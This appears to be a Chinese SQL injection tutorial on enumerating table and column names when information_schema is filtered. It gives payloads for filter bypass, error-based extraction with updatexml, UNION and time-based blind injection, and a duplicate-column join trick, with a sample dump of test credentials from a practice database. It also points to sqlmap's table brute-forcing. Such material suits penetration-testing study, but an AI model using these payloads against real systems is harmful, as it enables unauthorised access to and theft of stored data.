不同的DBMS提供了其他系统表,可以用来查询数据库结构。
1.利用mysql5.7新增的sys.schema_auto_increment_columns
这是sys数据库下的一个视图,基础数据来自与information_schema,他的作用是对表的自增ID进行监控,也就是说,如果某张表存在自增ID,就可以通过该视图来获取其表名和所在数据库名
以下为该表
2.sys.schema_table_statistics_with_buffer
这是sys数据库下的视图,里面存储着所有数据库所有表的统计信息
与它表结构相似的视图还有
sys.x$schema_table_statistics_with_buffer
sys.x$schema_table_statistics
sys.x$ps_schema_table_statistics_io
3.mysql默认存储引擎innoDB携带的表
mysql.innodb_table_stats
mysql.innodb_index_stats
两表均有database_name和table_name字段,可以利用
pg_catalog.pg_tables
:存储表的基本信息pg_catalog.pg_class
:详细说明表和索引sys.objects
:列出所有表和视图sys.tables
:列出表信息sys.columns
:列出列信息如果information_schema
只是被简单进行词符串匹配过滤,可以尝试如下绕迁方式:
如果数据库对大小写敏感,可以使用混合大小写来绕迁:
SELECT table_name FROM InForMatIon_ScHeMa.tables;
可以在关键字中插入注释来绕迁词符串检查。
SELECT table_name FROM infor/**/mation_schema.tables;
如果SQL解析器允许字符串拼接,可以通过字符串分割来绕迁。
SELECT table_name FROM infor'+'mation_schema.tables;
使用数据库的错误消息来透选元数据。
SELECT updatexml(1,concat(0x7e,(SELECT table_name FROM mysql.db LIMIT 1)),1);
如果可以使用UNION SELECT
,可以通过尽量演绎结构查询。
UNION SELECT table_name FROM mysql.db LIMIT 1;
如果没有法返回数据,可以通过盲测探测来获取数据。
SELECT IF((SELECT COUNT(*) FROM users)>10, SLEEP(5), 1);
SELECT IF(SUBSTRING((SELECT table_name FROM users LIMIT 1),1,1)='u', SLEEP(5), 1);
这一部分要依赖于重复的列名导致的报错,从而获得列名。
构造要依赖于上文得到的表名信息
假设已经获得了security的一个表名为user
select * from (select * from users as a join users b)c;
ERROR 1060 (42S21): Duplicate column name 'id'
可以得到一个列名id,接下来添加using(已经获得的列名1,已经获得的列名2)就可以获得其他列名
mysql> select * from (select * from users as a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name 'username'
得到username
mysql> select * from (select * from users as a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name 'password'
得到password
如果没有报错,表示已经获得所有的列名
查询会得到所有的数据
mysql> select * from (select * from users as a join users b using(id,username,password))c;
+----+----------+------------+
| id | username | password |
+----+----------+------------+
| 1 | Dumb | Dumb |
| 2 | Angelina | I-kill-you |
| 3 | Dummy | p@ssword |
| 4 | secure | crappy |
| 5 | stupid | stupidity |
| 6 | superman | genious |
| 7 | batman | mob!le |
| 8 | admin | admin |
| 9 | admin1 | admin1 |
| 10 | admin2 | admin2 |
| 11 | admin3 | admin3 |
| 12 | dhakkan | dumbo |
| 14 | admin4 | admin4 |
+----+----------+------------+
sqlmap提供了暴力破解表名的的选项--common-tables,当出现以下场景的时候。
DBMS(Database Management System,数据库管理系统)是 < 5.0 版本的 MySQL,它们不具备 information_schema。
DBMS 是微软的 Access 数据库,并且其中的系统表 MSysObjects 默认设置不可读。
当前会话用户对 DBMS 中存储数据表定义的系统表没有读权限。
就会采用字典中的表名进行暴力破解,表名储存在sqlmap路径\data\txt中
参考文章:
sqlmap用户手册
bypass information_schema